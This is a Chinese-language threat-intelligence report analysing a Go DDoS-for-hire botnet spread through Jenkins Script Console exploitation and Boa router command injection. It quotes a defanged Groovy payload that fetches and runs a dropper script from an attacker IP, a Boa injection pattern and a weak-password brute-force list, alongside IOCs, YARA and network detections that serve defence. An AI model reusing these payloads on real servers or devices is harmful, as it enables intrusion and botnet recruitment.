本页为译文。英文版本为权威文本。 阅读英文版

malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

跨平台 Go 语言 DDoS 租用僵尸网络

Kinryū Labs 分析了 bot.exe,这是一个 Go 编译的 DDoS 僵尸网络的 Windows 版本,以包含 11 个二进制文件、覆盖 13 种架构的投放器套件形式分发,并通过一场持续数日的 Jenkins Script Console 利用活动投递。对暂存主机的侦察发现了一个在线且需认证的 DDoS 租用 API、一个 Go 实现的 SSH 命令通道,以及一个同主机托管的 Mirai 血统家族。我们以高置信度评估,这是一项商业化的 DDoS 租用业务。

作者 Davis Zheng·

TLP:CLEAR。已获准公开发布。由 Kinryū Labs 蜜罐传感器网络捕获。下文指标均已做去毒处理。

摘要

  • 13种架构构建,11 个唯一二进制文件
  • 5种命名 DDoS 攻击方法,外加一个租用 API
  • 3个协同源 IP,同处一个 /22 网段
  • 2个僵尸网络家族位于同一主机

bot.exe 是一个 Go 编译的 DDoS 僵尸网络的 Windows x86-64 版本,以多架构投放器套件的形式分发。配套的 shell 脚本 bins.sh 会拉取十三种架构构建,去重后为十一个唯一文件,覆盖 32 位和 64 位 x86、四种 ARM 配置、ARM64、Android ARM64,以及大端和小端 MIPS,另有 Windows 二进制文件。该套件通过利用一台暴露在外的 Jenkins 服务器进入蜜罐网络。

该恶意软件内置五种命名泛洪方法(HTTP、TLS 握手、ICMP、直连 TLS,以及一种标记为 VOULT 的流量型方法)、一种轮换浏览器 User-Agent 字符串和区域设置头部以伪装成正常流量的 HTTP 泛洪,以及针对 RealTek SDK 设备上 Boa 网页服务器的命令注入载荷用于自我传播。对位于 185.226.93[.]242 的暂存主机的侦察发现:3333 端口上有一个需认证的 DDoS 租用 API,2222 端口上有一个 Go 实现的 SSH 服务充当命令通道,以及一个匿名 FTP 服务,用于暂存另一个 Mirai/Gafgyt 血统的僵尸网络家族。

Kinryū Labs 以高置信度评估,bot.exe 属于一个恶意的、自我传播的多架构 DDoS 僵尸网络,并以商业租用服务的形式运营。支撑该评估的有三项发现:二进制文件自身的攻击方法与漏洞利用字符串;运营者暂存主机上一个在线的租用 API,它会校验任务参数并要求认证;以及蜜罐遥测记录到的一场来自协同源地址、持续投递该套件的活动。

关键判断
  • bot.exe 是一个跨平台 Go 语言 DDoS 僵尸网络。五条不同的泛洪方法日志字符串携带目标和持续时间参数,此外还有浏览器伪装机制和 SOCKS5 支持,全部以未混淆字符串形式存在,并由在线 API 佐证。
  • 该行动以商业 DDoS 租用服务的形式运营。暂存主机在 3333 端口暴露一个 API,会校验任务参数(user、psw、host、method、time、port)并拒绝无效凭据。
  • 该僵尸网络通过 IoT 命令注入自我传播。二进制文件携带针对 Boa formSysCmd 的命令注入载荷、一条路由器登录暴力破解路径,以及导出的 loginDevice 和 loginDeviceCaptcha 函数,注入的正是蜜罐日志中记录的同一条投放器单行命令。
  • 三个源 IP 属于同一运营者。185.226.92[.]0/22 中的三个地址以协同的时间投递了完全相同的载荷,并共用一份凭据列表,且投递 IP 与暂存 IP 呈现完全相同的 SSH 主机密钥,表明为同一主机或克隆镜像。

投递:一场持续的 Jenkins Script Console 利用活动

该套件通过利用一台暴露在互联网上的 Jenkins 实例投递。蜜罐遥测记录到一套一致的两步手法:先发出 GET /crumbIssuer/api/json 获取 CSRF 令牌,随后发出携带 Groovy Script Console 载荷的 POST /script。各次尝试中的载荷完全相同,此处已做去毒处理:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

请求携带 Authorization: Basic 头部,针对 admin 账户轮换一份简短的弱数字口令字典(admin:1123、admin:123451、admin:1231231、admin:1111111、admin:12345123),这是自动化凭据列表的特征,而非有针对性的认证尝试。

该活动历时数日,分多轮反复进行:

  • 第 1 轮首批探测:先做 CSRF crumb 检查,随后进行 Groovy RCE,来自暂存 IP 和同网段中的另一个地址。
  • 捕获bins.sh 及全部十三个变种被捕获两次,相隔约十四小时,两次均逐字节一致。
  • 后续轮次三个源 IP 在几分钟内并行发起利用,并轮换 User-Agent。

漏洞利用请求轮换了一大批逼真的浏览器 User-Agent,而用于寻找更多 Jenkins 目标的侦察扫描(先取 /login,随后快速连发一串 /script 请求)则使用默认的 Go-http-client/1.1。伪造的 User-Agent 伴随利用载荷出现,扫描器则使用僵尸网络原生的 Go 客户端。暂存兼 C2 主机本身也参与了漏洞利用,因此攻击基础设施与托管基础设施并未分离。

恶意软件:一套 Go 代码库,十一个二进制文件

用 Go 编写该 bot,使得一套代码库可以交叉编译到运营者想要的每一个目标平台。投放器遍历整条产品线,先用 wget 拉取每个构建,再用 curl 作为兜底重试一次,赋予可执行权限、运行,然后删除。该套件包含一个 Windows .exe,而 Linux 投放器仍照样对其执行 chmod +x,脚本的生成式结构也指向一条构建并列表化的流水线。去重后,十三个构建归并为十一个唯一二进制文件:x86 与 i386 构建相同,通用 ARM 与 ARMv7 构建也相同。从 MIPS、老旧 ARM 到 Android 的架构覆盖面,表明这是一个瞄准路由器、摄像头等嵌入式设备的僵尸网络;Windows 构建则把同一套代码带到桌面和服务器上。

该二进制文件未加壳(PE 节区熵值在 5.4 到 6.3 之间),也未剥离符号(Go build ID 和运行时符号完好),因此其能力直接体现在明文字符串中。编译时间戳被置零,这对 Go 构建来说属正常现象。

二进制文件的日志字符串中命名了五种泛洪方法,每种都带有目标和持续时间格式化参数:一种 “HTTP (Optimized)” 泛洪、一种 TLS/TCP “Handshake” 耗尽型泛洪、一种 ICMP “PING” 泛洪、一种直连 “TLS+” 会话泛洪,以及一种 “VOULT” 方法,属流量型,很可能基于 UDP。应用层和网络层两类选项均具备。

该 HTTP 泛洪的设计目标是冒充正常流量。它轮换十余条浏览器 User-Agent 字符串,覆盖 Windows、macOS、iPad 和 Android 上的 Chrome、Edge、Opera、Firefox 和 Safari;十五种 Accept-Language 区域设置;以及缓解服务会检查的 sec-fetch-* 和 sec-ch-ua-* 指纹头部。它会从一小组高信誉站点(google.com、reddit.com、facebook.com、bing.com、twitter.com 和 fbi.gov)中设置 Referer。User-Agent 集合中有一项是字面字符串 Hello World,这是一个开发者占位符,由于没有任何正常客户端会发送它,它构成了一条干净的检测特征。

传播针对 Boa 网页服务器,这是一个小型嵌入式 HTTP 守护进程,至今仍随许多 RealTek SDK 路由器和摄像头出厂。二进制文件携带针对 Boa formSysCmd 处理程序的命令注入载荷,以及针对路由器管理界面的登录暴力破解路径,并带有 JSON 凭据字段和导出函数 loginDevice 与 loginDeviceCaptcha。注入的命令就是那条投放器单行命令,因此一台被攻陷的设备会成为下一台设备的投递点。

内置的 Go 模块全部是标准的 golang.org/x 包,未链接任何第三方 C2 框架。其中包括 chacha20poly1305、http2/hpack、dns/dnsmessage 和 http/httpproxy,与可观测到的能力吻合:一条认证加密通道、HTTP/2、原始 DNS,以及 SOCKS5 代理(字符串 socks5、socks connect 和 socksUsernamePassword 均存在)。C2 配置在运行时从 hxxp://<C2>/config.dat 获取;二进制文件中唯一硬编码的地址是暂存主机。

命令控制与暂存基础设施

对暂存主机的侦察发现了以下服务:

端口服务用途
21/tcpvsftpd 3.0.3,启用匿名登录恶意软件暂存(下文的第二个家族)
22/tcpOpenSSH 9.2p1 (Debian)运营者访问
1001/tcpGo net/http 服务器主暂存:提供 bins.sh 及各变种
2222/tcpGo SSH (SSH-2.0-Go)Bot 命令通道
3333/tcpGo net/http 服务器DDoS 租用 API

有两项发现支撑租用服务的评估。投递 IP 与暂存主机呈现完全相同的 ED25519、RSA 和 ECDSA SSH 主机密钥,说明二者位于同一台机器上,或来自同一模板克隆的镜像;而 2222 端口的 Go SSH 服务呈现的密钥与 22 端口的系统 OpenSSH 不同,表明它是一个独立应用而非端口转发。3333 端口的 API 会因参数缺失(user、psw、host、method、time/duration、port)而拒绝请求,并对测试凭据返回认证失败,其余所有路径均返回 404。这正是商业 booter 那种最小化、逐请求认证的接口,且运行在在线的基础设施上。

同一主机上的第二个家族

匿名 FTP 服务暂存着另一个僵尸网络家族,本文依其文件名称之为 “boatnet”。其投放器(ohshit1.sh)使用 BusyBox 的 ftpget 客户端,执行前将每个二进制文件重命名为 WTF,并在后台启动覆盖十五种架构的构建,其中包括 Mirai/Gafgyt 血统中较为冷门的嵌入式目标(ARC、m68k、SH4、SPARC)。这些二进制文件为 C 编译的 ELF,已剥离符号并加壳(熵值 7.6 到 7.9 且无 UPX 特征,表明使用了自定义壳),因此静态审查能得到的信息很少。boatnet 制品的出现早于 bot.exe 套件,且运行的是一套无关的代码库,因此这台主机同时暂存着两个不同的僵尸网络家族。

托管

两个攻击者 IP 均落在 185.226.92[.]0/22 内,经 RIPE NCC 注册给一家位于土耳其的 VPS 提供商(网络名 BIGCORE-US,AS205196 / AS57152),滥用举报联系方式为 abuse@bigcore.net。我们指出托管提供商仅为便于举报,不对运营者身份作出任何主张。

失陷指标

攻击者基础设施已做去毒处理。样本哈希和检测字符串按设计保留真实值。

网络

指标说明
185.226.93[.]242暂存 + C2 主机;同时也是活跃扫描器
185.226.92[.]110主扫描器 / 投递节点
185.226.92[.]173次级扫描器
185.226.92[.]0/22托管分配网段(BIGCORE,AS205196)。适合在边界封禁
185.226.93[.]242:1001HTTP 暂存(bins.sh + 各变种)
185.226.93[.]242:2222Go SSH 命令通道
185.226.93[.]242:3333DDoS 租用 API(/api,按参数校验)
185.226.93[.]242:21匿名 FTP,boatnet 暂存
hxxp://<C2>/config.dat运行时 C2 配置获取模式
/boafrm/formSysCmd、/boafrm/formLogin出向传播中的 Boa RCE 与登录爆破 URI
SSH 主机密钥(ED25519)…INAjVN5fIlxTHxT4R3yqTS8…投递 IP 与 C2 IP 共用;可作关联枢轴指标

文件

文件SHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (投放器)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
完整投放器套件哈希(13 个构建中的 11 个唯一文件)
构建SHA-256大小(字节)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

主机与凭据制品

  • Jenkins admin 暴力破解字典:1123、123451、1231231、1111111、12345123。
  • ohshit1.sh(boatnet 投放器),以及执行前被重命名为 WTF 的二进制文件。
  • 特征性 User-Agent:Hello World(bot 的 HTTP 泛洪)和 Go-http-client/1.1(bot 的自主扫描)。

行为

  • Jenkins 中 GET /crumbIssuer/api/json 之后紧跟 POST /script,载荷为获取 bins.sh 的 Groovy ProcessBuilder('sh','-c', …)。
  • 向某主机下 /config.dat 的出站请求,之前伴有一条 Connecting to CNC... 日志。
  • 入站 POST /boafrm/formSysCmd,带 sysCmdselect=5 和 wget … bins.sh 请求体。

检测

这些字符串稳定且未混淆,因此编写特征规则并不困难。下面的 YARA 规则是基于已验证字符串构建的候选规则;部署前请自行验证。

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

网络侧检测:

  • Jenkins:对包含 ProcessBuilder 且携带指向裸 IP 的 wget/curl 的 POST /script 请求体告警,尤其是在其前面出现 GET /crumbIssuer/api/json 时。
  • IoT 传播:content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";。
  • 基础设施:封禁 185.226.92[.]0/22,该网段涵盖投递和 C2 地址,并对指向该网段 1001、2222 和 3333 端口的出站连接告警。

处置建议

  • 不要将 Jenkins 暴露到互联网。 将其置于认证和网络隔离之后,对非管理员禁用 Script Console,并把可被访问到的构建服务器视为整机失陷风险。这正是本次的投递途径。
  • 强制使用强 Jenkins 凭据并对认证做限速。 本次活动依赖的是针对 admin 的一份简短弱数字口令字典。
  • 隔离或替换基于 RealTek/Boa 的路由器和 IoT 设备, 并阻断对其管理界面的外部访问。它们是该僵尸网络的传播目标。
  • 在边界封禁该托管分配网段(185.226.92[.]0/22),并对 Boa RCE URI 和 config.dat 获取模式告警。
  • 过滤出向流量。 某主机连接裸 IP 的 1001 端口拉取以架构命名的文件,或连接该网段的 2222、3333 端口,均属异常,在缺乏主机侧检测时仍可捕获。
  • 举报该基础设施。 DDoS 租用 API 和 FTP 暂存的恶意软件可向托管提供商的滥用举报联系方式(abuse@bigcore.net)报告。

MITRE ATT&CK 映射

战术技术
初始访问T1190 利用面向公众的应用程序(Jenkins Script Console;用于传播的 Boa formSysCmd)
凭据访问T1110.001 暴力破解:口令猜测(Jenkins admin);T1110.004 撞库(IoT 登录)
执行T1059 命令与脚本解释器(经 Script Console 的 Groovy;Unix shell 投放器)
发现T1046 网络服务扫描(Jenkins/IoT 自主扫描);T1082 系统信息发现;T1057 进程发现
防御规避T1036 伪装(浏览器 User-Agent 轮换;boatnet 重命名为 WTF)
命令与控制T1071.001 Web 协议(config.dat);T1573 加密通道(ChaCha20-Poly1305;2222 端口上的 Go SSH);T1571 非标准端口(1001/2222/3333);T1090.001 内部代理:SOCKS
横向移动 / 投递T1105 入口工具转移(多架构暂存)
影响T1498.001 直接网络泛洪(PING、VOULT);T1498.002 反射放大(握手耗尽)

方法与说明

  • 范围:对捕获的二进制文件做静态分析(未执行样本),以及对暂存主机的主动外部侦察(服务与横幅枚举、匿名 FTP 列目录、对 3333 端口 API 的未认证探测)。未绕过任何认证。
  • 该 YARA 规则是基于已验证字符串构建的候选规则;部署前请自行验证。boatnet 二进制文件已加壳,可提取的字符串很少。
  • 样本(bot.exe 套件、投放器和 boatnet 制品)可应请求提供给其他研究人员和防御方。请发邮件至 contact@kinryu.sh,并简要说明您的身份和用途。
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). 跨平台 Go 语言 DDoS 租用僵尸网络. https://kinryu.sh/zh/reports/go-ddos-botnet-for-hire/